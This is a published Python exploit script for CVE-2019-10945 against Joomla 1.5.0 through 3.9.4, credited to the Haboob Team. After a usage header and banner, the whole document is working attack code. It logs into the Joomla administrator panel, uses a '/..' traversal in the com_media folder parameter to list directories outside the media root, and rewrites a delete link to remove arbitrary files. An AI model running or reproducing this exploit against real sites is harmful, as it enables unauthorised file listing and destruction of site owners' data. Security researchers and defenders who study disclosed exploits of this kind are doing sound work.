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# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion # Date: 2019-March-13 # Exploit Author: Haboob Team # Web Site: haboob.sa # Email: research@haboob.sa # Software Link: https://www.joomla.org/ # Versions: Joomla 1.5.0 through Joomla 3.9.4 # CVE : CVE-2019-10945 # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945 # # Usage: #List files in the specified directory: #python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory name> # #Delete file in specified directory #python exploit.py --url=http://example.com/administrator --username=<joomla-manager-username> --password=<joomla-manager-password> --dir=<directory to list>--rm=<file name> import re import tempfile import pickle import os import hashlib import urllib try: import click except ImportError: print("module 'click' doesn't exist, type: pip install click") exit(0) try: import requests except ImportError: print("module 'requests' doesn't exist, type: pip install requests") exit(0) try: import lxml.html except ImportError: print("module 'lxml' doesn't exist, type: pip install lxml") exit(0) mediaList = "?option=com_media&view=mediaList&tmpl=component&folder=/.." print ''' # Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion # Web Site: Haboob.sa # Email: research@haboob.sa # Versions: Joomla 1.5.0 through Joomla 3.9.4 # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945 ______ ____ ________ | || | /\ |_ \ / __ \ / __ \|_ \ | |__| |/\| |_) | || | || | |_) | |__| / /\ \ |_ <| || | || |_ < | || |/ ____ \| |_) | |__| | |__| | |_) | |_||_/_/\_\____/ \____/ \____/|____/ ''' class URL(click.ParamType): name = 'url' regex = re.compile( r'^(?:http)s?://'# http:// or https:// r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|'# domain... r'localhost|'# localhost... r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'# ...or ip r'(?::\d+)?'# optional port r'(?:/?|[/?]\S+)$', re.IGNORECASE) def convert(self, value, param, ctx): if not isinstance(value, tuple): if re.match(self.regex, value) is None: self.fail('invalid URL (%s)' % value, param, ctx) return value def getForm(url, query, cookie=''): r = requests.get(url, cookies=cookie, timeout=5) if r.status_code != 200: print("invalid URL: 404 NOT FOUND!!") exit(0) page = r.text.encode('utf-8') html = lxml.html.fromstring(page) return html.xpath(query), r.cookies def login(url, username, password): csrf, cookie = getForm(url, '//input/@name') postData = {'username': username, 'passwd': password, 'option': 'com_login', 'task': 'login', 'return': 'aW5kZXgucGhw', csrf[-1]: 1} res = requests.post(url, cookies=cookie.get_dict(), data=postData, allow_redirects=False) if res.status_code == 200: html = lxml.html.fromstring(res.text) msg = html.xpath("//div[@class='alert-message']/text()[1]") print msg exit() else: get_cookies(res.cookies.get_dict(), url, username, password) def save_cookies(requests_cookiejar, filename): with open(filename, 'wb') as f: pickle.dump(requests_cookiejar, f) def load_cookies(filename): with open(filename, 'rb') as f: return pickle.load(f) def cookies_file_name(url, username, password): result = hashlib.md5(str(url) + str(username) + str(password)) _dir = tempfile.gettempdir() return _dir + "/" + result.hexdigest() + ".Jcookie" def get_cookies(req_cookie, url, username, password): cookie_file = cookies_file_name(url, username, password) if os.path.isfile(cookie_file): return load_cookies(cookie_file) else: save_cookies(req_cookie, cookie_file) return req_cookie def traversal(url, username, password, dir=None): cookie = get_cookies('', url, username, password) url = url + mediaList + dir files, cookie = getForm(url, "//input[@name='rm[]']/@value", cookie) for file in files: print file pass def removeFile(baseurl, username, password, dir='', file=''): cookie = get_cookies('', baseurl, username, password) url = baseurl + mediaList + dir link, _cookie = getForm(url, "//a[@target='_top']/@href", cookie) if link: link = urllib.unquote(link[0].encode("utf8")) link = link.split('folder=')[0] link = link.replace("folder.delete", "file.delete") link = baseurl + link + "folder=/.." + dir + "&rm[]=" + file msg, cookie = getForm(link, "//div[@class='alert-message']/text()[1]", cookie) if len(msg) == 0: print "ERROR : File does not exist" else: print msg else: print "ERROR:404 NOT FOUND!!" @click.group(invoke_without_command=True) @click.option('--url', type=URL(), help="Joomla Administrator URL", required=True) @click.option('--username', type=str, help="Joomla Manager username", required=True) @click.option('--password', type=str, help="Joomla Manager password", required=True) @click.option('--dir', type=str, help="listing directory") @click.option('--rm', type=str, help="delete file") @click.pass_context def cli(ctx, url, username, password, dir, rm): url = url+"/" cookie_file = cookies_file_name(url, username, password) if not os.path.isfile(cookie_file): login(url, username, password) if dir is not None: dir = dir.lstrip('/') dir = dir.rstrip('/') dir = "/" + dir if dir == "/" or dir == "../" or dir == "/.": dir = '' else: dir = '' print dir if rm is not None: removeFile(url, username, password, dir, rm) else: traversal(url, username, password, dir) cli() |
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